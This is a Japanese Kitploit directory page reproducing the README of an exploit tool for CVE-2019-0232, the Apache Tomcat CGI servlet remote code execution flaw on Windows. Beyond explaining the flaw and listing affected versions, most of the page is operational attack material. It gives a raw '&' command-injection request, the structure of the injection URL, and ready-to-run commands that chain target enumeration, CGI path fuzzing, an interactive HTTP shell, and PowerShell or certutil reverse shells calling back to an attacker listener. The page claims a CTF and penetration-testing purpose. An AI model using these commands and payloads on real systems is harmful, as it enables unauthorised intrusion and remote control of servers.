Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-0232 — Apache Tomcat CGI Servlet RCE (Windows) | Kitploit
ツール/GitHubGitHub/blackjuker2/cve-2019-0232
脆弱性スキャナーペイロード生成エクスプロイトシェルコードウェブアプリケーション悪用ファジングペネトレーションテスト学習と教育リモートアクセスツール
GitHubblackjuker2/cve-2019-0232

CVE-2019-0232

Apache Tomcat CGI Servlet RCE (Windows)

リポジトリを見る
12ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-0232 — Apache Tomcat CGIサーブレットRCE

認可されたCTF/ペネトレーションテスト専用の学習用PoCです。
このツールを、自分が所有していない、または明示的な書面による許可を得ていないシステムに対して実行することは違法です。


脆弱性概要

CVE-2019-0232は、Windows上のApache Tomcatにおけるリモートコード実行の脆弱性です。
CGIサーブレットがenableCmdLineArguments=true(パッチ適用前のWindowsではデフォルト)になっている場合、TomcatはHTTPクエリ文字列をそのままRuntime.exec()を介してCGIバッチファイルのコマンドライン引数として渡します。Windowsでは、Runtime.exec()は呼び出しをcmd.exe /cでラップするため、&コマンドセパレータが引数内で有効になります。

攻撃者は、URLに&(URLエンコードで%26)を含めることで、2つ目のOSコマンドを注入できます。

root@kitploit:~
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1

# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe が & を認識し、cmd.bat 終了後に whoami を実行

影響を受けるバージョン(Windowsのみ)

ツールをダウンロード
ブランチ脆弱性のある範囲修正バージョン
9.0.x9.0.0.M1 – 9.0.179.0.18
8.5.x8.5.0 – 8.5.398.5.40
7.0.x7.0.0 – 7.0.937.0.94

必要条件: conf/web.xmlでenableCmdLineArguments=true(パッチ適用前のWindowsではデフォルト)


特徴

  • 自動モード — 完全チェーン: 列挙→ファジングCGIパス→対話型シェル
  • バージョン検出 — HTTPヘッダーとエラーページからTomcatバージョンを特定
  • CGIパスファザー — マルチスレッド、内蔵ワードリスト+オプションのカスタムワードリスト(-w)
  • 単一コマンド — 1つのコマンドを実行し出力を表示(--cmd)
  • 対話型HTTPシェル — HTTP上でのREPLループ、各コマンドは新しいリクエスト
  • リバースシェル — 内蔵TCPリスナー
    • PowerShell Base64エンコードペイロード(デフォルト)
    • certutilステイガー(フォールバック)
  • PATH注入 — System32、Windows、Wbem、PowerShellを自動設定し、whoami、ipconfig、netstat、powershell.exeがフルパスなしで動作するように
  • stderrのマージ — 自動的に2>&1を追加し、エラー出力が表示されるように
  • Burpプロキシ対応 — --proxy http://127.0.0.1:8080でトラフィックをルーティング

インストール

root@kitploit:~
git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt

Python 3.8以上が必要。


使い方

root@kitploit:~
python3 cve_2019_0232.py -t <TARGET_URL> [options]

モード

フラグ説明
--auto列挙→ファジング→対話型シェルにドロップ
--enumTomcatバージョンとCGIパスのみを列挙
--fuzzアクセス可能な.bat/.cmdエンドポイントをファジング
--cmd COMMAND単一のコマンドを実行
--interactive対話型HTTPシェルループ
--reverse-shellリバースシェルを起動(--lhostが必要)

例

自動モード — スクリプトにすべてを見つけさせる:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto

既知のエンドポイントに対する単一コマンド:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami

対話型シェルループ:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive

完全自動チェーン → リバースシェル(別途ncは不要):

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444

スクリプトは--lportで独自のTCPリスナーを開き、PowerShellペイロードを発射し、ターゲットがコールバックした時に対話型シェルにドロップします。

既知のパスに対するPowerShellリバースシェル:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat  --reverse-shell --lhost 10.10.14.x --lport 4444

certutilステイガー(PowerShellがブロックされている場合):

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil

ファジング用のカスタムワードリスト:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt

ファイル拡張子のないエントリは、自動的に.batと.cmdの両方としてプローブされます。

Burp Suite経由のルーティング:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080

各リクエストの前に生の注入URLを表示:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url

全オプション

root@kitploit:~
positional / required:
  -t, --target URL        ターゲットのベースURL  例: http://10.10.10.x:8080

path:
  -p, --path PATH         既知のCGIスクリプトパス  例: /cgi/cmd.bat

modes:
  --auto                  完全チェーン: 列挙→ファジング→対話型
  --enum                  TomcatバージョンとCGIパスを列挙
  --fuzz                  アクセス可能なCGIスクリプトエンドポイントをファジング
  --cmd COMMAND           単一のコマンドを実行し出力を表示
  --interactive           対話型コマンドループ(HTTPシェル)
  --reverse-shell         PowerShellリバースシェルを送信

reverse shell:
  --lhost IP              リスナーIP(HTB/OSCPではtun0を使用)
  --lport PORT            リスナーポート(デフォルト: 4444)
  --shell-method {ps,certutil}
                          ペイロードタイプ: ps(デフォルト)またはcertutilステイガー

options:
  -w, --wordlist FILE     ファジングする追加のCGI名(1行に1つ)
  --threads N             ファジングスレッド数(デフォルト: 15)
  --timeout N             HTTPタイムアウト(秒)(デフォルト: 10)
  --proxy URL             HTTPプロキシ  例: http://127.0.0.1:8080
  --no-ssl-verify         TLS証明書の検証を無効化
  --show-url              各リクエストの前に完全な注入URLを表示

インジェクションの仕組み

スクリプトは次の3つのステップで注入URLを構築します:

  1. PATH注入 — コマンドを、最初にPATHを設定するグループでラップします:

    root@kitploit:~
    (SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
    

    echo.は空行を出力し、TomcatのCGIヘッダーパーサーを満足させるため、レスポンスボディが表示されます。

  2. URLエンコーディング — スペースは+に、特殊文字はurllib.parse.quoteにより%XXになります。

  3. 注入ポイント — エンコードされたグループは%26(&セパレータ)の後に配置されます:

    root@kitploit:~
    /cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
    

テスト済み環境

  • Windows Server 2019上のApache Tomcat 9.0.17
  • Kali Linux上のPython 3.11 / 3.12

参考文献

  • NVD — CVE-2019-0232
  • Apache Security Advisory
  • Exploit-DB #47073

法的免責事項

このツールは教育目的および認可されたセキュリティテスト専用として提供されます。
作者は、このツールの誤用または損害について一切の責任を負いません。
常にシステムをテストする前に明示的な書面による許可を得てください。